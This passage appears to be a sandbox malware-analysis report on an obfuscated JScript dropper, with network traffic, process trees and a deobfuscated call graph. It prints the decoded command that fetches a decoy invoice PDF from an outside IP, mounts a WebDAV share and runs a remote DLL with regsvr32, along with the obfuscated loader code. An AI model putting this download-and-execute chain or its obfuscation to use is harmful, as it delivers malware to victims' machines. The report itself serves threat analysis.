Jan 11, 2025 05:28:25.698604107 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:25.698673964 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:25.699053049 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:25.703859091 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:26.522751093 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:26.569765091 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:27.754275084 CET	49700	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:28:38.559758902 CET	53320	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:28:38.559758902 CET	192.168.2.7	1.1.1.1	0xacfc	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:28:36.817847013 CET	1.1.1.1	192.168.2.7	0xd204	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:28:36.817847013 CET	1.1.1.1	192.168.2.7	0xd204	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:28:38.567699909 CET	1.1.1.1	192.168.2.7	0xacfc	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	816	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:28:22.818126917 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:28:23.606724024 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:28:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:28:23.606741905 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:28:23.606751919 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:28:23.606762886 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:28:23.606774092 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 05:28:23.606784105 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 05:28:23.606794119 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 05:28:23.606803894 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 05:28:23.606815100 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 05:28:23.606827021 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 11, 2025 05:28:23.652327061 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7536	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:28:25.699053049 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:28:26.522751093 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:28:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:28:19
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js"
Imagebase:	0x7ff67a3a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:28:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll
Imagebase:	0x7ff655220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:28:19
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:28:19
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:28:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	23:28:24
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff655220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:28:24
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e3320000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:28:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	23:28:25
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	23:28:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1596,i,2795707105718791194,16913054232841068214,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function binlz() {	binlz() ➔ undefined
1	bmsqrcw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ehroz = this[cxabxnp + nfrawxpy + wydvs + ojwyz + qaufvac + rqtrzhbjq + vbixqtv + pklkcygdg] ( this[tewmrihe + kkaldfkby + ssldfa + wydvs + zihqqx + cxabxnp + pklkcygdg][tsmtowpoi + wydvs + qaufvac + nfrawxpy + pklkcygdg + qaufvac + uesqpgj + xrmwwdf + asjixr + qaufvac + ssldfa + pklkcygdg] ( tewmrihe + kkaldfkby + ssldfa + wydvs + zihqqx + cxabxnp + pklkcygdg + tsgrosqf + kkaldfkby + mnedrxy + qaufvac + mnggxf + mnggxf ) [doqlpsypm + qaufvac + vvhhruwyp + doqlpsypm + qaufvac + nfrawxpy + bampqpjq] ( pcxibr + bvnpmqvc + hymwwgkwp + gwecv + hlrroen + tsmtowpoi + vlyoz + doqlpsypm + doqlpsypm + hymwwgkwp + yiswwrhtr + yymjossm + hlrroen + vlyoz + kkaldfkby + hymwwgkwp + doqlpsypm + whzvc + tsmtowpoi + wswfwr + vbixqtv + pklkcygdg + wydvs + wswfwr + mnggxf + qjbqpk + yojrzm + nfrawxpy + vbixqtv + qaufvac + mnggxf + whzvc + rqtrzhbjq + vbixqtv + pklkcygdg + qaufvac + wydvs + vbixqtv + nfrawxpy + pklkcygdg + zihqqx + wswfwr + vbixqtv + nfrawxpy + mnggxf + whzvc + hhsnr + wswfwr + ssldfa + nfrawxpy + mnggxf + qaufvac ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xvbmj = 0 ; xvbmj < bmsqrcw[mnggxf + qaufvac + vbixqtv + vvhhruwyp + pklkcygdg + mnedrxy] ; ++ xvbmj )
4	{
5	if ( ehroz == bmsqrcw[xvbmj] )
6	{
7	ehroz = true;
8	break ;
9	}
10	}
11	if ( ehroz !== true )
12	this[tewmrihe + kkaldfkby + ssldfa + wydvs + zihqqx + cxabxnp + pklkcygdg][ydmdyuxa + jcfko + zihqqx + pklkcygdg] ( );
13	this[tewmrihe + kkaldfkby + ssldfa + wydvs + zihqqx + cxabxnp + pklkcygdg][tsmtowpoi + wydvs + qaufvac + nfrawxpy + pklkcygdg + qaufvac + uesqpgj + xrmwwdf + asjixr + qaufvac + ssldfa + pklkcygdg] ( tewmrihe + kkaldfkby + ssldfa + wydvs + zihqqx + cxabxnp + pklkcygdg + tsgrosqf + kkaldfkby + mnedrxy + qaufvac + mnggxf + mnggxf ) [wydvs + jcfko + vbixqtv] ( ssldfa + ulldn + bampqpjq + qjbqpk + zdkiu + ssldfa + qjbqpk + cxabxnp + wswfwr + vpptck + qaufvac + wydvs + ojwyz + mnedrxy + qaufvac + mnggxf + mnggxf + tsgrosqf + qaufvac + klwivev + qaufvac + qjbqpk + hadqff + tsmtowpoi + wswfwr + ulldn + ulldn + nfrawxpy + vbixqtv + bampqpjq + qjbqpk + cbszf + rqtrzhbjq + vbixqtv + dlfvd + wswfwr + naqcfxovs + qaufvac + hadqff + tewmrihe + qaufvac + xrmwwdf + doqlpsypm + qaufvac + imyeaxv + jcfko + qaufvac + ojwyz + pklkcygdg + qjbqpk + hadqff + uesqpgj + jcfko + pklkcygdg + ylfbafciq + zihqqx + mnggxf + qaufvac + qjbqpk + klfaloqp + pklkcygdg + qaufvac + ulldn + cxabxnp + klfaloqp + whzvc + zihqqx + vbixqtv + dlfvd + wswfwr + zihqqx + ssldfa + qaufvac + tsgrosqf + cxabxnp + bampqpjq + hzmsjhqn + qjbqpk + mnedrxy + pklkcygdg + pklkcygdg + cxabxnp + wpfvaez + zdkiu + zdkiu + jcgjeko + fvrem + pcptgrvht + tsgrosqf + jcgjeko + nhqsidm + pcptgrvht + tsgrosqf + jcgjeko + tsgrosqf + trureod + ybngiqxi + bilwxur + zdkiu + zihqqx + vbixqtv + dlfvd + wswfwr + zihqqx + ssldfa + qaufvac + tsgrosqf + cxabxnp + mnedrxy + cxabxnp + cbszf + koirvw + koirvw + ojwyz + pklkcygdg + nfrawxpy + wydvs + pklkcygdg + qjbqpk + klfaloqp + pklkcygdg + qaufvac + ulldn + cxabxnp + klfaloqp + whzvc + zihqqx + vbixqtv + dlfvd + wswfwr + zihqqx + ssldfa + qaufvac + tsgrosqf + cxabxnp + bampqpjq + hzmsjhqn + koirvw + koirvw + ssldfa + ulldn + bampqpjq + qjbqpk + zdkiu + ssldfa + qjbqpk + vbixqtv + qaufvac + pklkcygdg + qjbqpk + jcfko + ojwyz + qaufvac + qjbqpk + whzvc + whzvc + jcgjeko + fvrem + pcptgrvht + tsgrosqf + jcgjeko + nhqsidm + pcptgrvht + tsgrosqf + jcgjeko + tsgrosqf + trureod + ybngiqxi + bilwxur + dgqzpoey + qelup + qelup + qelup + qelup + whzvc + bampqpjq + nfrawxpy + dlfvd + vpptck + vpptck + vpptck + wydvs + wswfwr + wswfwr + pklkcygdg + whzvc + koirvw + koirvw + ssldfa + ulldn + bampqpjq + qjbqpk + zdkiu + ssldfa + qjbqpk + wydvs + qaufvac + vvhhruwyp + ojwyz + dlfvd + wydvs + pcptgrvht + trureod + qjbqpk + zdkiu + ojwyz + qjbqpk + whzvc + whzvc + jcgjeko + fvrem + pcptgrvht + tsgrosqf + jcgjeko + nhqsidm + pcptgrvht + tsgrosqf + jcgjeko + tsgrosqf + trureod + ybngiqxi + bilwxur + dgqzpoey + qelup + qelup + qelup + qelup + whzvc + bampqpjq + nfrawxpy + dlfvd + vpptck + vpptck + vpptck + wydvs + wswfwr + wswfwr + pklkcygdg + whzvc + trureod + trureod + bilwxur + bilwxur + jcgjeko + trureod + ycsfmrjba + trureod + nhqsidm + npliz + jcgjeko + ycsfmrjba + qelup + trureod + nhqsidm + tsgrosqf + bampqpjq + mnggxf + mnggxf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll",0,false) ➔ 0
14	}
15	hadqff = "z";
16	hadqff = "a";
17	hadqff = "U";
18	hadqff = "m";
19	hadqff = "J";
20	hadqff = "W";
21	hadqff = "a";
22	hadqff = "O";
23	hadqff = "f";
24	hadqff = "V";
25	hadqff = "P";
26	hadqff = "A";
27	hadqff = "P";
28	hadqff = "P";
29	hadqff = "C";
30	hadqff = "y";
31	hadqff = "I";
32	hadqff = "A";
33	hadqff = "o";
34	hadqff = "d";
35	hadqff = "-";
36	cxabxnp = "b";
37	cxabxnp = "n";
38	cxabxnp = "C";
39	cxabxnp = "P";
40	cxabxnp = "l";
41	cxabxnp = "G";
42	cxabxnp = "m";
43	cxabxnp = "P";
44	cxabxnp = "H";
45	cxabxnp = "X";
46	cxabxnp = "b";
47	cxabxnp = "E";
48	cxabxnp = "O";
49	cxabxnp = "F";
50	cxabxnp = "f";
51	cxabxnp = "i";
52	cxabxnp = "x";
53	cxabxnp = "m";
54	cxabxnp = "e";
55	cxabxnp = "Y";
56	cxabxnp = "g";
57	cxabxnp = "v";
58	cxabxnp = "h";
59	cxabxnp = "q";
60	cxabxnp = "s";
61	cxabxnp = "s";
62	cxabxnp = "p";
63	yymjossm = "A";
64	yymjossm = "p";
65	yymjossm = "B";
66	yymjossm = "T";
67	naqcfxovs = "i";
68	naqcfxovs = "z";
69	naqcfxovs = "H";
70	naqcfxovs = "k";
71	naqcfxovs = "z";
72	naqcfxovs = "O";
73	naqcfxovs = "V";
74	naqcfxovs = "a";
75	naqcfxovs = "Q";
76	naqcfxovs = "N";
77	naqcfxovs = "x";
78	naqcfxovs = "g";
79	naqcfxovs = "H";
80	naqcfxovs = "e";
81	naqcfxovs = "q";
82	naqcfxovs = "O";
83	naqcfxovs = "B";
84	naqcfxovs = "O";
85	naqcfxovs = "k";
86	naqcfxovs = "X";
87	naqcfxovs = "X";
88	naqcfxovs = "C";
89	naqcfxovs = "M";
90	naqcfxovs = "j";
91	naqcfxovs = "a";
92	naqcfxovs = "A";
93	naqcfxovs = "L";
94	naqcfxovs = "o";
95	naqcfxovs = "l";
96	naqcfxovs = "n";
97	naqcfxovs = "u";
98	naqcfxovs = "S";
99	naqcfxovs = "j";
100	naqcfxovs = "s";
101	naqcfxovs = "k";
102	ydmdyuxa = "Y";
103	ydmdyuxa = "l";
104	ydmdyuxa = "W";
105	ydmdyuxa = "v";
106	ydmdyuxa = "l";
107	ydmdyuxa = "B";
108	ydmdyuxa = "C";
109	ydmdyuxa = "T";
110	ydmdyuxa = "B";
111	ydmdyuxa = "h";
112	ydmdyuxa = "p";
113	ydmdyuxa = "G";
114	ydmdyuxa = "Q";
115	qelup = "Y";
116	qelup = "O";
117	qelup = "s";
118	qelup = "I";
119	qelup = "G";
120	qelup = "V";
121	qelup = "V";
122	qelup = "I";
123	qelup = "T";
124	qelup = "J";
125	qelup = "t";
126	qelup = "K";
127	qelup = "Y";
128	qelup = "B";
129	qelup = "w";
130	qelup = "Q";
131	qelup = "D";
132	qelup = "P";
133	qelup = "t";
134	qelup = "F";
135	qelup = "F";
136	qelup = "O";
137	qelup = "S";
138	qelup = "X";
139	qelup = "a";
140	qelup = "Z";
141	qelup = "x";
142	qelup = "c";
143	qelup = "X";
144	qelup = "h";
145	qelup = "J";
146	qelup = "n";
147	qelup = "R";
148	qelup = "c";
149	qelup = "k";
150	qelup = "A";
151	qelup = "i";
152	qelup = "S";
153	qelup = "8";
154	zdkiu = "w";
155	zdkiu = "M";
156	zdkiu = "v";
157	zdkiu = "W";
158	zdkiu = "U";
159	zdkiu = "R";
160	zdkiu = "K";
161	zdkiu = "c";
162	zdkiu = "X";
163	zdkiu = "u";
164	zdkiu = "U";
165	zdkiu = "E";
166	zdkiu = "n";
167	zdkiu = "D";
168	zdkiu = "z";
169	zdkiu = "F";
170	zdkiu = "P";
171	zdkiu = "q";
172	zdkiu = "W";
173	zdkiu = "Q";
174	zdkiu = "h";
175	zdkiu = "O";
176	zdkiu = "x";
177	zdkiu = "a";
178	zdkiu = "v";
179	zdkiu = "h";
180	zdkiu = "P";
181	zdkiu = "S";
182	zdkiu = "O";
183	zdkiu = "/";
184	fvrem = "S";
185	fvrem = "b";
186	fvrem = "p";
187	fvrem = "S";
188	fvrem = "m";
189	fvrem = "z";
190	fvrem = "H";
191	fvrem = "M";
192	fvrem = "L";
193	fvrem = "Y";
194	fvrem = "i";
195	fvrem = "t";
196	fvrem = "T";
197	fvrem = "B";
198	fvrem = "Y";
199	fvrem = "Z";
200	fvrem = "r";
201	fvrem = "O";
202	fvrem = "g";
203	fvrem = "D";
204	fvrem = "H";
205	fvrem = "p";
206	fvrem = "O";
207	fvrem = "r";
208	fvrem = "S";
209	fvrem = "M";
210	fvrem = "Z";
211	fvrem = "U";
212	fvrem = "O";
213	fvrem = "i";
214	fvrem = "y";
215	fvrem = "E";
216	fvrem = "y";
217	fvrem = "G";
218	fvrem = "e";
219	fvrem = "s";
220	fvrem = "9";
221	koirvw = "A";
222	koirvw = "C";
223	koirvw = "w";
224	koirvw = "y";
225	koirvw = "S";
